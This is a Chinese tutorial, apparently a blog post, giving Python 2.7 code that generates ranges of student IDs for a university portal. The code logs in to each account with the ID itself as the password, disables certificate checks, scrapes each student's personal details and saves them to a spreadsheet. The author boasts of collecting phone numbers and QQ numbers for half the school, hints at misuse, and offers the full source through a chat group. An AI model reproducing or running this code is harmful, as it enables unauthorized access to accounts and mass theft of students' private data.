20121115新闻联播,高城梨沙,湖北球迷论坛
爬虫开始前的准备:
安装库文件的方法:
最好在你的python2.7/script/下面打开power shell(可以shift+右击) 执行下面的:
安装库文件:
pip install *** ***是指上面的库文件,下面不一定都用,只要上面的,以后出什么错,你就继续pip install
如何查看自己已经安装了的库
pip list
观察网站结构(密码规则):
密码规则
user_info
sys.setdefaultencoding("utf-8") # ssl这个是验证证书 https ssl._create_default_https_context = ssl._create_unverified_context # 生成一个存储cookie的对象 c = cookielib.LWPCookieJar() cookie = urllib2.HTTPCookieProcessor(c) opener = urllib2.build_opener(cookie) urllib2.install_opener(opener)
不要在意我是怎么知道的,
重要的是这些规则,你怎么去重新写一个函数代入
(里面的我修改过,所以不要套用,以免浪费时间)
# 学号只在最后3位不一样,随机数xrange() 可以处理更好的处理大的列表 def user_id(): list_1 = [] for i in xrange(101,249): list_1.append('1131050'+str(i)) for i in xrange(301,349): list_1.append('1131050'+ str(i)) for i in xrange(401,448): list_1.append('1131050'+ str(i)) for i in xrange(501,548): list_1.append('1131050'+ str(i)) for i in xrange(101,150): list_1.append('1131070'+ str(i)) for i in xrange(101,151): list_1.append('1131050'+ str(i)) for i in xrange(201,252): list_1.append('1135050'+ str(i)) for i in xrange(301,352): list_1.append('1131050'+ str(i)) for i in xrange(401,453): list_1.append('1131050'+ str(i)) for i in xrange(101,148): list_1.append('1131070'+ str(i)) for i in xrange(201,247): list_1.append('1131070'+ str(i)) return list_1
这里用的的是beautifulsoup库
def user_info(): url_info="http://XXX.xxxx.edu.cn:80/Modile/Sys/Meddage/Info.aspx" html2 = opener.open(url_info).read() # python2.7 没装lxml的可能会报错,pip install lxml soup = BeautifulSoup(html2,"lxml") #以lxml 方式解析抓下来的lxml infos = soup.select("tr > td > span") # css seletor 来获取指定标签 #print profes # print infos return infos
因为在写的时候因为编码问题,不能写入中文
def write_user(): file2 = xlwt.Workbook(encoding='utf-8') #打开一个excel,并且编码格式以 'utf-8' table = file2.add_sheet('info',cell_overwrite_ok=True) #添加一个表 table.write(0,0,"15d中文3s0") # 写入内容,table.write(row,col,'value') file2.save('file2.xls')
def go_user(): user_list = [] user_infos = [] user_list = user_id() file2 = xlwt.Workbook(encoding='utf-8') table = file2.add_sheet('info',cell_overwrite_ok=True) r = 0 #row 行 for i in user_list: c = 0 #col login(username=i, password=i) #登录,并传入列表的学号 user_infos = user_info() #获取学号信息,格式是字典 for i in user_infos[0:10]: #写入表单中,循环把信息写进去 # print i.get_text() table.write(r,c,i.get_text()) c += 1 r += 1 time.sleep(1) #延迟访问,可避免封ip,还有影响服务器 print r,c file2.save('file2.xls')
程序执行结束:
部分截图:有图有真相,避免无知的喷子
学号规则很好找的,这样就获取半个学校的call和qq啦,至于能干嘛,自己脑补。。。
end_info
不知道库的使用方法,我这里总结了下,还有不知道的只能百度啦
是不是很强势?有没有很装逼?哈哈哈!
进群:125240963 即可获取源码!
如对本文有疑问,请在下面进行留言讨论,广大热心网友会与你互动!! 点击进行留言回复
新手学习Python2和Python3中print不同的用法
Python基于os.environ从windows获取环境变量
网友评论